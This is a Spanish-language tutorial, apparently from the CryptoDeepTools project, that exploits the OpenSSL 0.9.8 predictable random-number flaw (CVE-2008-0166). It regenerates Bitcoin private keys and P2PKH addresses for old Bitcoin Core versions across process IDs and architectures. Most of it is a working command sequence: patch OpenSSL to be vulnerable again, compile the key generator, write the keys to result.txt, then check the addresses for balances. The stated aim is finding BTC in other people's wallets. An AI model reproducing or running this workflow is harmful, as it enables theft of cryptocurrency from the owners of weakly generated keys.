
Buscar monedas BTC en versiones anteriores de Bitcoin Core con vulnerabilidad crítica OpenSSL 0.9.8 CVE-2008-0166
En este artículo, crearemos una herramienta que generará direcciones de Bitcoin (P2PKH) utilizando la vulnerabilidad CVE-2008-0166. Este es un proyecto de investigación para encontrar monedas BTC en versiones anteriores del cliente de software Bitcoin Core.
Generador de números aleatorios que genera números predecibles CVE-2008-0166
VAIM-OpenSSL 0.9.8/1.0.0 Detected
La versión de vulnerabilidad crítica OpenSSL 0.9.8 CVE-2008-0166 fue poblada únicamente con el ID del proceso. Debido a las diferencias entre endianness y sizeof(long), la salida depende de la arquitectura: 32 -bits big endian (por ejemplo, i386), 64 -bits big endian (por ejemplo, amd64, ia64), 32 -bits big endian (por ejemplo, powerpc, sparc). PID 0 es el núcleo, y () no se alcanza mediante portabilidad, por lo que había flujos de números aleatorios posibles para cada arquitectura.
PID_MAX
El cliente de software Bitcoin Core utiliza OpenSSL. Específicamente, utiliza una función «EC_KEY_generate_key()» para generar direcciones de Bitcoin (como una clave) para recibir pagos. Las versiones anteriores de Bitcoin Core generan y almacenan 100 claves en wallet.dat
Una nueva clave se genera solo cuando se recibe un pago de Bitcoin. Por lo tanto, el cliente de software Bitcoin Core mantiene un grupo de 100 claves de Bitcoin no utilizadas (direcciones). El estado del generador de números aleatorios interno depende de qué otras llamadas se hicieron a la biblioteca OpenSSL antes de la llamada 'EC_KEY_generate_key()'. Desafíos que afectan el estado interno del RNG: «RAND_add(8)», «RAND_bytes(8)» y «RAND_bytes(32)».
Por lo tanto, la investigación consistió en revisar muchas fuentes antiguas de bitcoin para descubrir qué llamadas se realizaron que afectaron el estado interno del RNG antes de la llamada «EC_KEY_generate_key()». La ruta de llamada cambia entre versiones del cliente de software Bitcoin Core
El estudio se centró en las siguientes versiones:

Nuestro objetivo es generar claves privadas para cada versión del cliente de software Bitcoin Core, para cada arquitectura (le32/le64), para cada ID de proceso y para direcciones de Bitcoin (P2PKH), utilizando un número aleatorio de una vulnerabilidad crítica. OpenSSL 0.9.8.
En última instancia, crearemos un generador de direcciones de Bitcoin (P2PKH) y todo se guardará en un archivo result.txt

Para ello, utilizaremos el kit de distribución «Ubuntu 18.04.5 LTS» de Google Colab

Anteriormente grabamos una instrucción en video: «TERMINAL en Google Colab crea todas las comodidades para trabajar en GITHUB»
Abra Google Colab en Terminal [TerminalGoogleColab]
Ejecutemos el comando:
cat /etc/lsb-release
Vayamos al repositorio «CryptoDeepTools» y echemos un vistazo a los detalles
git clone https://github.com/demining/CryptoDeepTools.gitcd CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

Actualice e instale g++ libgmp3-dev libmpfr-dev
apt-get update
sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

Para hacer OpenSSL vulnerable nuevamente como en CVE-2008-0166
Descargue openssl-0.9.8c.tar.gz y parchee los archivos del sistema
wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz


tar xfz openssl-0.9.8c.tar.gz
mv openssl-0.9.8c openssl-0.9.8c-vuln
cd openssl-0.9.8c-vuln

ls -lh
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
make depend all
cd /
ls

cd content/CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto
ls -lh

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD
#9 - unknownE
#10 - unknownF
#11 - unknownG
#12 - unknownH
#13 - unknownI
#14 - unknownJ
#15 - unknownK
#16 - unknownA0
#17 - unknownA1
#18 - unknownA2
#19 - unknownA3
#20 - unknownA4
#21 - unknownB0
#22 - unknownB1
#23 - unknownB2
#24 - unknownB3
#25 - unknownC0
#26 - unknownC1
#27 - unknownC2
#28 - unknownD0
#29 - unknownD1
#30 - unknownD2
#31 - unknownD3
#32 - unknownD4
#33 - unknownD5
#34 - unknownE0
#35 - unknownA0x
#36 - unknownA1x
#37 - unknownA2x
#38 - unknownA3x
#39 - unknownA4x
#40 - unknownB0x
#41 - unknownB1x
#42 - unknownB2x
#43 - unknownB3x
#44 - unknownC0x
#45 - unknownC1x
#46 - unknownC2x
#47 - unknownD0x
#48 - unknownD1x
#49 - unknownD2x
#50 - unknownD3x
#51 - unknownD4x
#52 - unknownD5x
#53 - unknownE0x
crypto >
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt

Todo se guardará en el almacenamiento de archivos Google Drive como un archivo de texto result.txt


A continuación, queda comprobar todas las direcciones de Bitcoin generadas para detectar la presencia de monedas BTC; para ello, podemos usar el script de Python: bitcoin-checker.py
Vídeo: https://youtu.be/zHkXups2I8k
| Dirección de donación | |
|---|---|
| ♥ BTC | 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV |
| ♥ ETH | 0xaBd66CF90898517573f19184b3297d651f7b90bf |